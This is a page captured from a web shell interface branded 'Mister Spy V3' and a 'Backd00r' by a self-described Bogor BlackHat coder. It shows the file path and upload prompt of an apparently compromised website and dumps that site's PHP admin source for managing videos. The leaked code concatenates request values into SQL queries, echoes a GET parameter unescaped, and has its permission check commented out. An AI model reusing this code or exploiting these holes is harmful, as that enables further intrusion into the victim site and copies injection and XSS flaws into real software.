Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/espanol/_admin_/
Upload File :
Current File : /home/caballoscriollos/www/espanol/_admin_/videos.php

<?php
require_once('../../Connections/cnx.php'); 
require_once('../../funcs.php'); 
require_once('00_admin_look.php'); 
require_once('ssi_seguridad.php'); 


$currentPage = $_SERVER["PHP_SELF"];

$qry_string = "vacio=si";
if(isset($_SERVER['QUERY_STRING']))
	$qry_string = $_SERVER['QUERY_STRING'];

$maxRows_rsVideos = 10;
$pageNum_rsVideos = 0;
if (isset($_REQUEST['pageNum_rsVideos'])) {
  $pageNum_rsVideos = $_REQUEST['pageNum_rsVideos'];
}
$startRow_rsVideos = $pageNum_rsVideos * $maxRows_rsVideos;


$filtro = "1=1";
if(isset($_REQUEST['titulo']) && $_REQUEST['titulo']!="")
	$filtro .= " AND titulo LIKE '%".$_REQUEST['titulo'] . "%'";
	
mysql_select_db($database_cnx, $cnx);

if ($_POST['Action'] == 'Ordenar')
{
	$query_rsVideos = "SELECT * FROM videos WHERE $filtro ORDER BY Orden DESC, videoID DESC";
	$query_limit_rsVideos = sprintf("%s LIMIT %d, %d", $query_rsVideos, $startRow_rsVideos, $maxRows_rsVideos);
			
	$rsVideos = mysql_query($query_limit_rsVideos, $cnx) or die(mysql_error());
	$row_rsVideos = mysql_fetch_assoc($rsVideos); 
	do {
		$orden = $_POST['orden_' . $row_rsVideos['videoID']];
		
		$queryUpdate = sprintf("UPDATE videos SET orden = %d WHERE videoID = %d", $orden, $row_rsVideos['videoID']);
		$rsUpdate = mysql_query($queryUpdate, $cnx) or die(mysql_error());
	} while ($row_rsVideos = mysql_fetch_assoc($rsVideos));
}

$query_rsVideos = "SELECT * FROM videos WHERE $filtro ORDER BY Orden DESC, videoID DESC";
$query_limit_rsVideos = sprintf("%s LIMIT %d, %d", $query_rsVideos, $startRow_rsVideos, $maxRows_rsVideos);
$rsVideos = mysql_query($query_limit_rsVideos, $cnx) or die(mysql_error());
$row_rsVideos = mysql_fetch_assoc($rsVideos); 

if (isset($_GET['totalRows_rsVideos'])) {
  $totalRows_rsVideos = $_GET['totalRows_rsVideos'];
} else {
  $all_rsVideos = mysql_query($query_rsVideos);
  $totalRows_rsVideos = mysql_num_rows($all_rsVideos);
}
$totalPages_rsVideos = ceil($totalRows_rsVideos/$maxRows_rsVideos)-1;

$queryString_rsVideos = "";
if (!empty($_SERVER['QUERY_STRING'])) {
  $params = explode("&", $_SERVER['QUERY_STRING']);
  $newParams = array();
  foreach ($params as $param) {
    if (stristr($param, "pageNum_rsVideos") == false && 
        stristr($param, "totalRows_rsVideos") == false) {
      array_push($newParams, $param);
    }
  }
  if (count($newParams) != 0) {
    $queryString_rsVideos = "&" . htmlentities(implode("&", $newParams));
  }
}
$queryString_rsVideos = sprintf("&totalRows_rsVideos=%d%s", $totalRows_rsVideos, $queryString_rsVideos);


$modulo="videos";
$nivel=$_SESSION['MM_Group'];
$sql="SELECT * FROM `niveles_permisos` WHERE `nivel` =".$nivel." AND `modulo` = '".$modulo."'";
$qry=mysql_query($sql);
$row=mysql_fetch_array($qry);
/*if($row['ver']==0){
require("cartel_permisos.php");exit;
}*/

?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Documento sin t&iacute;tulo</title>
<script language="JavaScript" type="text/JavaScript" src="edita.js"></script>
<link href="basico_backend.css" rel="stylesheet" type="text/css" />
</head>

<body>
<table width="90%"  border="0" align="center" cellpadding="0" cellspacing="0" class="bordeGrisFondo">
  <tr>
    <td width="10" class="TituloRubro">&nbsp;</td>
    <td class="TituloRubro">&nbsp;</td>
  </tr>
  <tr>
    <td width="10">&nbsp;</td>
    <td><p class="tituloPagina">VIDEOS</p></td>
  </tr>
  <tr>
    <td width="10">&nbsp;</td>
    <td>&nbsp;</td>
  </tr>
  <tr>
  	<td colspan="2">
  		<table width="100%"  border="0" cellspacing="0" cellpadding="0">
        <tr>
          <td height="40">
		  	<form id="form1" name="form1" method="get" action="videos.php">
              <table width="100%" border="0" align="left" cellpadding="0" cellspacing="0" class="bordeGrisFondo">
                <tr>
                  <td width="15%" height="50" valign="middle"><div align="right"><span class="tituloMenu">Buscador Avanzado:</span>&nbsp;&nbsp; 
                  </div></td>
                  <td width="24%" valign="middle"><input name="titulo" id="titulo" value="<?= $_GET['titulo'] ?>" />
                     </td>
                  <td width="40%" valign="middle"><div align="left">
                    <input name="Submit" type="submit" class="boton" value="Buscar" />
                  </div></td>
                </tr>
              </table>
          </form>
		  </td>
        </tr>
      </table>
  	</td>
  </tr>
</table>
<table width="90%"  border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td height="0" align="right">&nbsp;</td>
    <td height="0" align="right">&nbsp;</td>
  </tr>
  <tr>
    <td height="25" align="right"><a href="provincias_add.php"><img src="iconos/add.gif" alt="Agregar" width="16" height="14" hspace="3" border="0" /></a></td>
	
    <td width="50" align="right"><div align="center"><a href="videos_add.php">Agregar</a></div></td>
  </tr>
</table>

	<?php if($totalRows_rsVideos > 0 ){ ?>
<table width="90%" border="0" align="center">
	  <tr>
	    <td height="20" align="right" valign="top">&nbsp;</td>
  </tr>
	  <tr>
		<td height="20" align="right" valign="top">&nbsp;
	Registros <?php echo ($startRow_rsVideos + 1) ?> a <?php echo min($startRow_rsVideos + $maxRows_rsVideos, $totalRows_rsVideos) ?> de <?php echo $totalRows_rsVideos ?> </td>
	  </tr>
</table>
		  	<form id="frmData" name="frmData" method="post" action="videos.php">
		  		<input type="hidden" id="titulo" name="titulo" value="<?= $_REQUEST['titulo'] ?>" />
		  		<input type="hidden" id="pageNum_rsVideos" name="pageNum_rsVideos" value="<?= $_REQUEST['pageNum_rsVideos'] ?>" />
		  		<input type="hidden" id="Action" name="Action" value="Ordenar" />
		  		<div align="center" style="text-align: right; width: 90%; margin: 10px auto;"><input name="Ordenar" type="submit" class="boton" value="Ordenar" align="right"></div>
	<table width="90%" border="0" align="center" cellpadding="0" cellspacing="0" class="bordeGris">
	  <tr class="bordeGrisFondo">
		<td height="25"><strong>&nbsp;&nbsp;Video</strong></td>
		<td>&nbsp;</td>
		<td>&nbsp;</td>
		<td>&nbsp;</td>
		<td width="100" height="25" align="center"><strong>Acciones</strong></td>
	  </tr>
	  <?php do { ?>
	  <tr onMouseover="changeto(event, '<? echo $colCeld; ?>')" onMouseout="changeback(event, '<? echo $colCeldOut; ?>')">
		<td  width="30%"height="20">&nbsp;&nbsp;&nbsp;<?php echo $row_rsVideos['video']; ?></td>
		<td width="5%">&nbsp;</td>
		<td width="50%" height="20" valign="top" align="center">
			<table width="100%" border="0" cellpadding="0" cellspacing="0">
				<tr height="20">
					<td>&nbsp;</td>
				</tr>
				<tr>
					<td><?= smrFormateaFecha( $row_rsVideos['FechaCarga'], "d/m/y" ) ?></td>
				</tr>
				<tr>
					<td>&nbsp;</td>
				</tr>
				<tr>
					<td><strong><?= $row_rsVideos['Titulo'] ?></strong></td>
				</tr>
				<tr>
					<td>&nbsp;</td>
				</tr>
				<tr>
					<td>Orden: <input type="text" id="orden_<?= $row_rsVideos['videoID'] ?>" name="orden_<?= $row_rsVideos['videoID'] ?>" value="<?= $row_rsVideos['Orden'] ?>" style="width:50px" /></td>
				</tr>
			</table>
		</td>
		<td width="5%">&nbsp;</td>
		<td width="10%" height="20" valign="top" align="center" style="padding-top: 20px">
		<?		 if($row['modificacion']==1){?>	
		<a href="#"></a><a href="videos_mod.php?<?=$qry_string?>&videoID=<?php echo $row_rsVideos['videoID']; ?>"><img src="iconos/mod.gif" alt="Modificar" width="16" height="14" hspace="2" border="0" /></a>
					<? } ?>
						<?		 if($row['baja']==1){?>		
		<a href="videos_del.php?<?=$qry_string?>&videoID=<?php echo $row_rsVideos['videoID']; ?>"><img src="iconos/del.gif" alt="Eliminar" width="16" height="14" hspace="2" border="0" /></a>
					<? } ?>
		</td>
	  
		</tr>
		<tr bgcolor="<? echo $CeldDivide;?>">
		<td colspan="2" bgcolor="<? echo $CeldDivide;?>"><div align="center"></div></td>
      </tr>
	  <?php } while ($row_rsVideos = mysql_fetch_assoc($rsVideos)); ?>
</table>
			</form>
	<table border="0" width="25%" align="center" style="margin-top: 20px;">
	  <tr>
		<td width="23%" align="center"><?php if ($pageNum_rsVideos > 0) { // Show if not first page ?>
		  <a href="<?php printf("%s?pageNum_rsVideos=%d%s", $currentPage, 0, $queryString_rsVideos); ?>"><img src="First.gif" width="15" height="12" border=0></a>
		  <?php } // Show if not first page ?>
		</td>
		<td width="31%" align="center"><?php if ($pageNum_rsVideos > 0) { // Show if not first page ?>
		  <a href="<?php printf("%s?pageNum_rsVideos=%d%s", $currentPage, max(0, $pageNum_rsVideos - 1), $queryString_rsVideos); ?>"><img src="Previous.gif" width="15" height="12" border=0></a>
		  <?php } // Show if not first page ?>
		</td>
		<td width="23%" align="center"><?php if ($pageNum_rsVideos < $totalPages_rsVideos) { // Show if not last page ?>
		  <a href="<?php printf("%s?pageNum_rsVideos=%d%s", $currentPage, min($totalPages_rsVideos, $pageNum_rsVideos + 1), $queryString_rsVideos); ?>"><img src="Next.gif" width="15" height="12" border=0></a>
		  <?php } // Show if not last page ?>
		</td>
		<td width="23%" align="center"><?php if ($pageNum_rsVideos < $totalPages_rsVideos) { // Show if not last page ?>
		  <a href="<?php printf("%s?pageNum_rsVideos=%d%s", $currentPage, $totalPages_rsVideos, $queryString_rsVideos); ?>"><img src="Last.gif" width="15" height="12" border=0></a>
		  <?php } // Show if not last page ?></td>
	  </tr>
</table>
	</p>
	<?php } //Cierro el Show if ?>
	<?php if($totalRows_rsVideos==0){ ?>
			<p>&nbsp;</p>
			<table width="90%"  border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#F3F3F3" class="bordeGris">
			  <tr>
				<td>&nbsp;</td>
			  </tr>
			  <tr>
				<td><p align="center"><span class="alerta_1">Lo siento!</span></p></td>
			  </tr>
			  <tr>
				<td><p>&nbsp;</p></td>
			  </tr>
			  <tr>
				<td><div align="center">
				  <p><strong>No hay videos disponibles</strong></p>
				</div></td>
			  </tr>
			  <tr>
				<td><p>&nbsp;</p></td>
			  </tr>
			</table>
			<p>&nbsp;</p>
	<? } //Cierro el show if ?>
</body>
</html>
<?php
mysql_free_result($rsVideos);
?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat